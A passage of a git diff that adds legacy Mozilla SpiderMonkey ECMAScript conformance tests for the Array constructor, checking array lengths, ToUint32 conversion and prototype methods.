+ "var arr=new Array(); arr[Math.pow(2,30)-1] = 'hi'; arr.length",
+ Math.pow(2,30),
+ eval("var arr=new Array(); arr[Math.pow(2,30)-1] = 'hi'; arr.length") );
+
+new TestCase( SECTION,
+ "var arr=new Array(); arr[Math.pow(2,30)] = 'hi'; arr.length",
+ Math.pow(2,30)+1,
+ eval("var arr=new Array(); arr[Math.pow(2,30)] = 'hi'; arr.length") );
+
+
+new TestCase( SECTION,
+ "var arr=new Array(); arr[Math.pow(2,31)-2] = 'hi'; arr.length",
+ Math.pow(2,31)-1,
+ eval("var arr=new Array(); arr[Math.pow(2,31)-2] = 'hi'; arr.length") );
+
+new TestCase( SECTION,
+ "var arr=new Array(); arr[Math.pow(2,31)-1] = 'hi'; arr.length",
+ Math.pow(2,31),
+ eval("var arr=new Array(); arr[Math.pow(2,31)-1] = 'hi'; arr.length") );
+
+new TestCase( SECTION,
+ "var arr=new Array(); arr[Math.pow(2,31)] = 'hi'; arr.length",
+ Math.pow(2,31)+1,
+ eval("var arr=new Array(); arr[Math.pow(2,31)] = 'hi'; arr.length") );
+
+new TestCase( SECTION,
+ "var arr = new Array(0,1,2,3,4,5); arr.length = 2; String(arr)",
+ "0,1",
+ eval("var arr = new Array(0,1,2,3,4,5); arr.length = 2; String(arr)") );
+
+new TestCase( SECTION,
+ "var arr = new Array(0,1); arr.length = 3; String(arr)",
+ "0,1,",
+ eval("var arr = new Array(0,1); arr.length = 3; String(arr)") );
+
+test();
+
diff --git a/js/src/tests/ecma/Array/15.4.1.1.js b/js/src/tests/ecma/Array/15.4.1.1.js
new file mode 100644
index 000000000..b64198517
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.1.1.js
@@ -0,0 +1,77 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.1.1.js
+ ECMA Section: 15.4.1 Array( item0, item1,... )
+
+ Description: When Array is called as a function rather than as a
+ constructor, it creates and initializes a new array
+ object. Thus, the function call Array(...) is
+ equivalent to the object creation new Array(...) with
+ the same arguments.
+
+ An array is created and returned as if by the expression
+ new Array( item0, item1, ... ).
+
+ Author: christine@netscape.com
+ Date: 7 october 1997
+*/
+var SECTION = "15.4.1.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Array Constructor Called as a Function";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "typeof Array(1,2)",
+ "object",
+ typeof Array(1,2) );
+
+new TestCase( SECTION,
+ "(Array(1,2)).toString",
+ Array.prototype.toString,
+ (Array(1,2)).toString );
+
+new TestCase( SECTION,
+ "var arr = Array(1,2,3); arr.toString = Object.prototype.toString; arr.toString()",
+ "[object Array]",
+ eval("var arr = Array(1,2,3); arr.toString = Object.prototype.toString; arr.toString()") );
+
+new TestCase( SECTION,
+ "(Array(1,2)).length",
+ 2,
+ (Array(1,2)).length );
+
+new TestCase( SECTION,
+ "var arr = (Array(1,2)); arr[0]",
+ 1,
+ eval("var arr = (Array(1,2)); arr[0]") );
+
+new TestCase( SECTION,
+ "var arr = (Array(1,2)); arr[1]",
+ 2,
+ eval("var arr = (Array(1,2)); arr[1]") );
+
+new TestCase( SECTION,
+ "var arr = (Array(1,2)); String(arr)",
+ "1,2",
+ eval("var arr = (Array(1,2)); String(arr)") );
+
+test();
+
+function ToUint32( n ) {
+ n = Number( n );
+ if( isNaN(n) || n == 0 || n == Number.POSITIVE_INFINITY ||
+ n == Number.NEGATIVE_INFINITY ) {
+ return 0;
+ }
+ var sign = n < 0 ? -1 : 1;
+
+ return ( sign * ( n * Math.floor( Math.abs(n) ) ) ) % Math.pow(2, 32);
+}
+
diff --git a/js/src/tests/ecma/Array/15.4.1.2.js b/js/src/tests/ecma/Array/15.4.1.2.js
new file mode 100644
index 000000000..08e3c0d77
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.1.2.js
@@ -0,0 +1,128 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.1.2.js
+ ECMA Section: 15.4.1.2 Array(len)
+
+ Description: When Array is called as a function rather than as a
+ constructor, it creates and initializes a new array
+ object. Thus, the function call Array(...) is
+ equivalent to the object creationi new Array(...) with
+ the same arguments.
+
+ An array is created and returned as if by the
+ expression new Array(len).
+
+ Author: christine@netscape.com
+ Date: 7 october 1997
+*/
+var SECTION = "15.4.1.2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Array Constructor Called as a Function: Array(len)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "(Array()).length",
+ 0,
+ (Array()).length );
+
+new TestCase( SECTION,
+ "(Array(0)).length",
+ 0,
+ (Array(0)).length );
+
+new TestCase( SECTION,
+ "(Array(1)).length",
+ 1,
+ (Array(1)).length );
+
+new TestCase( SECTION,
+ "(Array(10)).length",
+ 10,
+ (Array(10)).length );
+
+new TestCase( SECTION,
+ "(Array('1')).length",
+ 1,
+ (Array('1')).length );
+
+new TestCase( SECTION,
+ "(Array(1000)).length",
+ 1000,
+ (Array(1000)).length );
+
+new TestCase( SECTION,
+ "(Array('1000')).length",
+ 1,
+ (Array('1000')).length );
+
+new TestCase( SECTION,
+ "(Array(4294967295)).length",
+ ToUint32(4294967295),
+ (Array(4294967295)).length );
+
+new TestCase( SECTION,
+ "(Array(Math.pow(2,31)-1)).length",
+ ToUint32(Math.pow(2,31)-1),
+ (Array(Math.pow(2,31)-1)).length );
+
+new TestCase( SECTION,
+ "(Array(Math.pow(2,31))).length",
+ ToUint32(Math.pow(2,31)),
+ (Array(Math.pow(2,31))).length );
+
+new TestCase( SECTION,
+ "(Array(Math.pow(2,31)+1)).length",
+ ToUint32(Math.pow(2,31)+1),
+ (Array(Math.pow(2,31)+1)).length );
+
+new TestCase( SECTION,
+ "(Array('8589934592')).length",
+ 1,
+ (Array("8589934592")).length );
+
+new TestCase( SECTION,
+ "(Array('4294967296')).length",
+ 1,
+ (Array("4294967296")).length );
+
+new TestCase( SECTION,
+ "(Array(1073741823)).length",
+ ToUint32(1073741823),
+ (Array(1073741823)).length );
+
+new TestCase( SECTION,
+ "(Array(1073741824)).length",
+ ToUint32(1073741824),
+ (Array(1073741824)).length );
+
+new TestCase( SECTION,
+ "(Array('a string')).length",
+ 1,
+ (Array("a string")).length );
+
+test();
+
+function ToUint32( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+ n = sign * Math.floor( Math.abs(n) )
+
+ n = n % Math.pow(2,32);
+
+ if ( n < 0 ){
+ n += Math.pow(2,32);
+ }
+
+ return ( n );
+}
diff --git a/js/src/tests/ecma/Array/15.4.1.3.js b/js/src/tests/ecma/Array/15.4.1.3.js
new file mode 100644
index 000000000..b6f09ce8b
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.1.3.js
@@ -0,0 +1,50 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.1.3.js
+ ECMA Section: 15.4.1.3 Array()
+
+ Description: When Array is called as a function rather than as a
+ constructor, it creates and initializes a new array
+ object. Thus, the function call Array(...) is
+ equivalent to the object creationi new Array(...) with
+ the same arguments.
+
+ An array is created and returned as if by the
+ expression new Array(len).
+
+ Author: christine@netscape.com
+ Date: 7 october 1997
+*/
+var SECTION = "15.4.1.3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Array Constructor Called as a Function: Array()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "typeof Array()",
+ "object",
+ typeof Array() );
+
+new TestCase( SECTION,
+ "MYARR = new Array();MYARR.getClass = Object.prototype.toString;MYARR.getClass()",
+ "[object Array]",
+ eval("MYARR = Array();MYARR.getClass = Object.prototype.toString;MYARR.getClass()") );
+
+new TestCase( SECTION,
+ "(Array()).length",
+ 0,
+ (Array()).length );
+
+new TestCase( SECTION,
+ "Array().toString()",
+ "",
+ Array().toString() );
+
+test();
diff --git a/js/src/tests/ecma/Array/15.4.1.js b/js/src/tests/ecma/Array/15.4.1.js
new file mode 100644
index 000000000..18208b1ba
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.1.js
@@ -0,0 +1,98 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.1.js
+ ECMA Section: 15.4.1 The Array Constructor Called as a Function
+
+ Description: When Array is called as a function rather than as a
+ constructor, it creates and initializes a new array
+ object. Thus, the function call Array(...) is
+ equivalent to the object creationi new Array(...) with
+ the same arguments.
+
+ Author: christine@netscape.com
+ Date: 7 october 1997
+*/
+
+var SECTION = "15.4.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Array Constructor Called as a Function";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Array() +''",
+ "",
+ Array() +"" );
+
+new TestCase( SECTION,
+ "typeof Array()",
+ "object",
+ typeof Array() );
+
+new TestCase( SECTION,
+ "var arr = Array(); arr.getClass = Object.prototype.toString; arr.getClass()",
+ "[object Array]",
+ eval("var arr = Array(); arr.getClass = Object.prototype.toString; arr.getClass()") );
+
+new TestCase( SECTION,
+ "var arr = Array(); arr.toString == Array.prototype.toString",
+ true,
+ eval("var arr = Array(); arr.toString == Array.prototype.toString") );
+
+new TestCase( SECTION,
+ "Array().length",
+ 0,
+ Array().length );
+
+new TestCase( SECTION,
+ "Array(1,2,3) +''",
+ "1,2,3",
+ Array(1,2,3) +"" );
+
+new TestCase( SECTION,
+ "typeof Array(1,2,3)",
+ "object",
+ typeof Array(1,2,3) );
+
+new TestCase( SECTION,
+ "var arr = Array(1,2,3); arr.getClass = Object.prototype.toString; arr.getClass()",
+ "[object Array]",
+ eval("var arr = Array(1,2,3); arr.getClass = Object.prototype.toString; arr.getClass()") );
+
+new TestCase( SECTION,
+ "var arr = Array(1,2,3); arr.toString == Array.prototype.toString",
+ true,
+ eval("var arr = Array(1,2,3); arr.toString == Array.prototype.toString") );
+
+new TestCase( SECTION,
+ "Array(1,2,3).length",
+ 3,
+ Array(1,2,3).length );
+
+new TestCase( SECTION,
+ "typeof Array(12345)",
+ "object",
+ typeof Array(12345) );
+
+new TestCase( SECTION,
+ "var arr = Array(12345); arr.getClass = Object.prototype.toString; arr.getClass()",
+ "[object Array]",
+ eval("var arr = Array(12345); arr.getClass = Object.prototype.toString; arr.getClass()") );
+
+new TestCase( SECTION,
+ "var arr = Array(1,2,3,4,5); arr.toString == Array.prototype.toString",
+ true,
+ eval("var arr = Array(1,2,3,4,5); arr.toString == Array.prototype.toString") );
+
+new TestCase( SECTION,
+ "Array(12345).length",
+ 12345,
+ Array(12345).length );
+
+test();
diff --git a/js/src/tests/ecma/Array/15.4.2.1-1.js b/js/src/tests/ecma/Array/15.4.2.1-1.js
new file mode 100644
index 000000000..af31fed87
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.2.1-1.js
@@ -0,0 +1,78 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.2.1-1.js
+ ECMA Section: 15.4.2.1 new Array( item0, item1, ... )
+ Description: This description only applies of the constructor is
+ given two or more arguments.
+
+ The [[Prototype]] property of the newly constructed
+ object is set to the original Array prototype object,
+ the one that is the initial value of Array.prototype
+ (15.4.3.1).
+
+ The [[Class]] property of the newly constructed object
+ is set to "Array".
+
+ The length property of the newly constructed object is
+ set to the number of arguments.
+
+ The 0 property of the newly constructed object is set
+ to item0... in general, for as many arguments as there
+ are, the k property of the newly constructed object is
+ set to argument k, where the first argument is
+ considered to be argument number 0.
+
+ This file tests the typeof the newly constructed object.
+
+ Author: christine@netscape.com
+ Date: 7 october 1997
+*/
+
+var SECTION = "15.4.2.1-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Array Constructor: new Array( item0, item1, ...)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "typeof new Array(1,2)",
+ "object",
+ typeof new Array(1,2) );
+
+new TestCase( SECTION,
+ "(new Array(1,2)).toString",
+ Array.prototype.toString,
+ (new Array(1,2)).toString );
+
+new TestCase( SECTION,
+ "var arr = new Array(1,2,3); arr.getClass = Object.prototype.toString; arr.getClass()",
+ "[object Array]",
+ eval("var arr = new Array(1,2,3); arr.getClass = Object.prototype.toString; arr.getClass()") );
+
+new TestCase( SECTION,
+ "(new Array(1,2)).length",
+ 2,
+ (new Array(1,2)).length );
+
+new TestCase( SECTION,
+ "var arr = (new Array(1,2)); arr[0]",
+ 1,
+ eval("var arr = (new Array(1,2)); arr[0]") );
+
+new TestCase( SECTION,
+ "var arr = (new Array(1,2)); arr[1]",
+ 2,
+ eval("var arr = (new Array(1,2)); arr[1]") );
+
+new TestCase( SECTION,
+ "var arr = (new Array(1,2)); String(arr)",
+ "1,2",
+ eval("var arr = (new Array(1,2)); String(arr)") );
+
+test();
diff --git a/js/src/tests/ecma/Array/15.4.2.1-2.js b/js/src/tests/ecma/Array/15.4.2.1-2.js
new file mode 100644
index 000000000..4cb1ce2b3
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.2.1-2.js
@@ -0,0 +1,67 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.2.1-2.js
+ ECMA Section: 15.4.2.1 new Array( item0, item1, ... )
+ Description: This description only applies of the constructor is
+ given two or more arguments.
+
+ The [[Prototype]] property of the newly constructed
+ object is set to the original Array prototype object,
+ the one that is the initial value of Array.prototype
+ (15.4.3.1).
+
+ The [[Class]] property of the newly constructed object
+ is set to "Array".
+
+ The length property of the newly constructed object is
+ set to the number of arguments.
+
+ The 0 property of the newly constructed object is set
+ to item0... in general, for as many arguments as there
+ are, the k property of the newly constructed object is
+ set to argument k, where the first argument is
+ considered to be argument number 0.
+
+
+ Author: christine@netscape.com
+ Date: 7 october 1997
+*/
+var SECTION = "15.4.2.1-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Array Constructor: new Array( item0, item1, ...)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+var TEST_STRING = "new Array(";
+var ARGUMENTS = ""
+ var TEST_LENGTH = Math.pow(2,10); //Math.pow(2,32);
+
+for ( var index = 0; index < TEST_LENGTH; index++ ) {
+ ARGUMENTS += index;
+ ARGUMENTS += (index == (TEST_LENGTH-1) ) ? "" : ",";
+}
+
+TEST_STRING += ARGUMENTS + ")";
+
+TEST_ARRAY = eval( TEST_STRING );
+
+for ( var item = 0; item < TEST_LENGTH; item++ ) {
+ new TestCase( SECTION,
+ "["+item+"]",
+ item,
+ TEST_ARRAY[item] );
+}
+
+new TestCase( SECTION,
+ "new Array( ["+TEST_LENGTH+" arguments] ) +''",
+ ARGUMENTS,
+ TEST_ARRAY +"" );
+
+test();
diff --git a/js/src/tests/ecma/Array/15.4.2.1-3.js b/js/src/tests/ecma/Array/15.4.2.1-3.js
new file mode 100644
index 000000000..36910aef8
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.2.1-3.js
@@ -0,0 +1,103 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.2.1-3.js
+ ECMA Section: 15.4.2.1 new Array( item0, item1, ... )
+ Description: This description only applies of the constructor is
+ given two or more arguments.
+
+ The [[Prototype]] property of the newly constructed
+ object is set to the original Array prototype object,
+ the one that is the initial value of Array.prototype
+ (15.4.3.1).
+
+ The [[Class]] property of the newly constructed object
+ is set to "Array".
+
+ The length property of the newly constructed object is
+ set to the number of arguments.
+
+ The 0 property of the newly constructed object is set
+ to item0... in general, for as many arguments as there
+ are, the k property of the newly constructed object is
+ set to argument k, where the first argument is
+ considered to be argument number 0.
+
+ This test stresses the number of arguments presented to
+ the Array constructor. Should support up to Math.pow
+ (2,32) arguments, since that is the maximum length of an
+ ECMAScript array.
+
+ ***Change TEST_LENGTH to Math.pow(2,32) when larger array
+ lengths are supported.
+
+ Author: christine@netscape.com
+ Date: 7 october 1997
+*/
+var SECTION = "15.4.2.1-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Array Constructor: new Array( item0, item1, ...)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var TEST_STRING = "new Array(";
+var ARGUMENTS = ""
+ var TEST_LENGTH = Math.pow(2,10); //Math.pow(2,32);
+
+for ( var index = 0; index < TEST_LENGTH; index++ ) {
+ ARGUMENTS += index;
+ ARGUMENTS += (index == (TEST_LENGTH-1) ) ? "" : ",";
+}
+
+TEST_STRING += ARGUMENTS + ")";
+
+TEST_ARRAY = eval( TEST_STRING );
+
+for ( var item = 0; item < TEST_LENGTH; item++ ) {
+ new TestCase( SECTION,
+ "TEST_ARRAY["+item+"]",
+ item,
+ TEST_ARRAY[item] );
+}
+
+new TestCase( SECTION,
+ "new Array( ["+TEST_LENGTH+" arguments] ) +''",
+ ARGUMENTS,
+ TEST_ARRAY +"" );
+
+new TestCase( SECTION,
+ "TEST_ARRAY.toString",
+ Array.prototype.toString,
+ TEST_ARRAY.toString );
+
+new TestCase( SECTION,
+ "TEST_ARRAY.join",
+ Array.prototype.join,
+ TEST_ARRAY.join );
+
+new TestCase( SECTION,
+ "TEST_ARRAY.sort",
+ Array.prototype.sort,
+ TEST_ARRAY.sort );
+
+new TestCase( SECTION,
+ "TEST_ARRAY.reverse",
+ Array.prototype.reverse,
+ TEST_ARRAY.reverse );
+
+new TestCase( SECTION,
+ "TEST_ARRAY.length",
+ TEST_LENGTH,
+ TEST_ARRAY.length );
+
+new TestCase( SECTION,
+ "TEST_ARRAY.toString = Object.prototype.toString; TEST_ARRAY.toString()",
+ "[object Array]",
+ eval("TEST_ARRAY.toString = Object.prototype.toString; TEST_ARRAY.toString()") );
+
+test();
diff --git a/js/src/tests/ecma/Array/15.4.2.2-1.js b/js/src/tests/ecma/Array/15.4.2.2-1.js
new file mode 100644
index 000000000..6a8956113
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.2.2-1.js
@@ -0,0 +1,149 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.2.2-1.js
+ ECMA Section: 15.4.2.2 new Array(len)
+
+ Description: This description only applies of the constructor is
+ given two or more arguments.
+
+ The [[Prototype]] property of the newly constructed
+ object is set to the original Array prototype object,
+ the one that is the initial value of Array.prototype(0)
+ (15.4.3.1).
+
+ The [[Class]] property of the newly constructed object
+ is set to "Array".
+
+ If the argument len is a number, then the length
+ property of the newly constructed object is set to
+ ToUint32(len).
+
+ If the argument len is not a number, then the length
+ property of the newly constructed object is set to 1
+ and the 0 property of the newly constructed object is
+ set to len.
+
+ This file tests cases where len is a number.
+
+ The cases in this test need to be updated since the
+ ToUint32_t description has changed.
+
+ Author: christine@netscape.com
+ Date: 7 october 1997
+*/
+var SECTION = "15.4.2.2-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Array Constructor: new Array( len )";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "new Array(0)",
+ "",
+ (new Array(0)).toString() );
+
+new TestCase( SECTION,
+ "typeof new Array(0)",
+ "object",
+ (typeof new Array(0)) );
+
+new TestCase( SECTION,
+ "(new Array(0)).length",
+ 0,
+ (new Array(0)).length );
+
+new TestCase( SECTION,
+ "(new Array(0)).toString",
+ Array.prototype.toString,
+ (new Array(0)).toString );
+
+new TestCase( SECTION,
+ "new Array(1)",
+ "",
+ (new Array(1)).toString() );
+
+new TestCase( SECTION,
+ "new Array(1).length",
+ 1,
+ (new Array(1)).length );
+
+new TestCase( SECTION,
+ "(new Array(1)).toString",
+ Array.prototype.toString,
+ (new Array(1)).toString );
+
+new TestCase( SECTION,
+ "(new Array(-0)).length",
+ 0,
+ (new Array(-0)).length );
+
+new TestCase( SECTION,
+ "(new Array(0)).length",
+ 0,
+ (new Array(0)).length );
+
+new TestCase( SECTION,
+ "(new Array(10)).length",
+ 10,
+ (new Array(10)).length );
+
+new TestCase( SECTION,
+ "(new Array('1')).length",
+ 1,
+ (new Array('1')).length );
+
+new TestCase( SECTION,
+ "(new Array(1000)).length",
+ 1000,
+ (new Array(1000)).length );
+
+new TestCase( SECTION,
+ "(new Array('1000')).length",
+ 1,
+ (new Array('1000')).length );
+
+new TestCase( SECTION,
+ "(new Array(4294967295)).length",
+ ToUint32(4294967295),
+ (new Array(4294967295)).length );
+
+new TestCase( SECTION,
+ "(new Array('8589934592')).length",
+ 1,
+ (new Array("8589934592")).length );
+
+new TestCase( SECTION,
+ "(new Array('4294967296')).length",
+ 1,
+ (new Array("4294967296")).length );
+
+new TestCase( SECTION,
+ "(new Array(1073741824)).length",
+ ToUint32(1073741824),
+ (new Array(1073741824)).length );
+
+test();
+
+function ToUint32( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+ n = sign * Math.floor( Math.abs(n) )
+
+ n = n % Math.pow(2,32);
+
+ if ( n < 0 ){
+ n += Math.pow(2,32);
+ }
+
+ return ( n );
+}
diff --git a/js/src/tests/ecma/Array/15.4.2.2-2.js b/js/src/tests/ecma/Array/15.4.2.2-2.js
new file mode 100644
index 000000000..f8c88f862
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.2.2-2.js
@@ -0,0 +1,84 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.2.2-2.js
+ ECMA Section: 15.4.2.2 new Array(len)
+
+ Description: This description only applies of the constructor is
+ given two or more arguments.
+
+ The [[Prototype]] property of the newly constructed
+ object is set to the original Array prototype object,
+ the one that is the initial value of Array.prototype(0)
+ (15.4.3.1).
+
+ The [[Class]] property of the newly constructed object
+ is set to "Array".
+
+ If the argument len is a number, then the length
+ property of the newly constructed object is set to
+ ToUint32(len).
+
+ If the argument len is not a number, then the length
+ property of the newly constructed object is set to 1
+ and the 0 property of the newly constructed object is
+ set to len.
+
+ This file tests length of the newly constructed array
+ when len is not a number.
+
+ Author: christine@netscape.com
+ Date: 7 october 1997
+*/
+var SECTION = "15.4.2.2-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Array Constructor: new Array( len )";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "(new Array(new Number(1073741823))).length",
+ 1,
+ (new Array(new Number(1073741823))).length );
+
+new TestCase( SECTION,
+ "(new Array(new Number(0))).length",
+ 1,
+ (new Array(new Number(0))).length );
+
+new TestCase( SECTION,
+ "(new Array(new Number(1000))).length",
+ 1,
+ (new Array(new Number(1000))).length );
+
+new TestCase( SECTION,
+ "(new Array('mozilla, larryzilla, curlyzilla')).length",
+ 1,
+ (new Array('mozilla, larryzilla, curlyzilla')).length );
+
+new TestCase( SECTION,
+ "(new Array(true)).length",
+ 1,
+ (new Array(true)).length );
+
+new TestCase( SECTION,
+ "(new Array(false)).length",
+ 1,
+ (new Array(false)).length);
+
+new TestCase( SECTION,
+ "(new Array(new Boolean(true)).length",
+ 1,
+ (new Array(new Boolean(true))).length );
+
+new TestCase( SECTION,
+ "(new Array(new Boolean(false)).length",
+ 1,
+ (new Array(new Boolean(false))).length );
+
+test();
diff --git a/js/src/tests/ecma/Array/15.4.2.3.js b/js/src/tests/ecma/Array/15.4.2.3.js
new file mode 100644
index 000000000..5ec7989dc
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.2.3.js
@@ -0,0 +1,67 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.2.3.js
+ ECMA Section: 15.4.2.3 new Array()
+ Description: The [[Prototype]] property of the newly constructed
+ object is set to the origianl Array prototype object,
+ the one that is the initial value of Array.prototype.
+ The [[Class]] property of the new object is set to
+ "Array". The length of the object is set to 0.
+
+ Author: christine@netscape.com
+ Date: 7 october 1997
+*/
+
+var SECTION = "15.4.2.3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Array Constructor: new Array()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "new Array() +''",
+ "",
+ (new Array()) +"" );
+
+new TestCase( SECTION,
+ "typeof new Array()",
+ "object",
+ (typeof new Array()) );
+
+new TestCase( SECTION,
+ "var arr = new Array(); arr.getClass = Object.prototype.toString; arr.getClass()",
+ "[object Array]",
+ eval("var arr = new Array(); arr.getClass = Object.prototype.toString; arr.getClass()") );
+
+new TestCase( SECTION,
+ "(new Array()).length",
+ 0,
+ (new Array()).length );
+
+new TestCase( SECTION,
+ "(new Array()).toString == Array.prototype.toString",
+ true,
+ (new Array()).toString == Array.prototype.toString );
+
+new TestCase( SECTION,
+ "(new Array()).join == Array.prototype.join",
+ true,
+ (new Array()).join == Array.prototype.join );
+
+new TestCase( SECTION,
+ "(new Array()).reverse == Array.prototype.reverse",
+ true,
+ (new Array()).reverse == Array.prototype.reverse );
+
+new TestCase( SECTION,
+ "(new Array()).sort == Array.prototype.sort",
+ true,
+ (new Array()).sort == Array.prototype.sort );
+
+test();
diff --git a/js/src/tests/ecma/Array/15.4.3.1-2.js b/js/src/tests/ecma/Array/15.4.3.1-2.js
new file mode 100644
index 000000000..70f38f831
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.3.1-2.js
@@ -0,0 +1,47 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.3.1-1.js
+ ECMA Section: 15.4.3.1 Array.prototype
+ Description: The initial value of Array.prototype is the built-in
+ Array prototype object (15.4.4).
+
+ Author: christine@netscape.com
+ Date: 7 october 1997
+*/
+
+var SECTION = "15.4.3.1-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Array.prototype";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+var ARRAY_PROTO = Array.prototype;
+
+new TestCase( SECTION,
+ "var props = ''; for ( p in Array ) { props += p } props",
+ "",
+ eval("var props = ''; for ( p in Array ) { props += p } props") );
+
+new TestCase( SECTION,
+ "Array.prototype = null; Array.prototype",
+ ARRAY_PROTO,
+ eval("Array.prototype = null; Array.prototype") );
+
+new TestCase( SECTION,
+ "delete Array.prototype",
+ false,
+ delete Array.prototype );
+
+new TestCase( SECTION,
+ "delete Array.prototype; Array.prototype",
+ ARRAY_PROTO,
+ eval("delete Array.prototype; Array.prototype") );
+
+test();
diff --git a/js/src/tests/ecma/Array/15.4.3.2.js b/js/src/tests/ecma/Array/15.4.3.2.js
new file mode 100644
index 000000000..33d50005a
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.3.2.js
@@ -0,0 +1,28 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.3.2.js
+ ECMA Section: 15.4.3.2 Array.length
+ Description: The length property is 1.
+
+ Author: christine@netscape.com
+ Date: 7 october 1997
+*/
+
+var SECTION = "15.4.3.2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Array.length";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
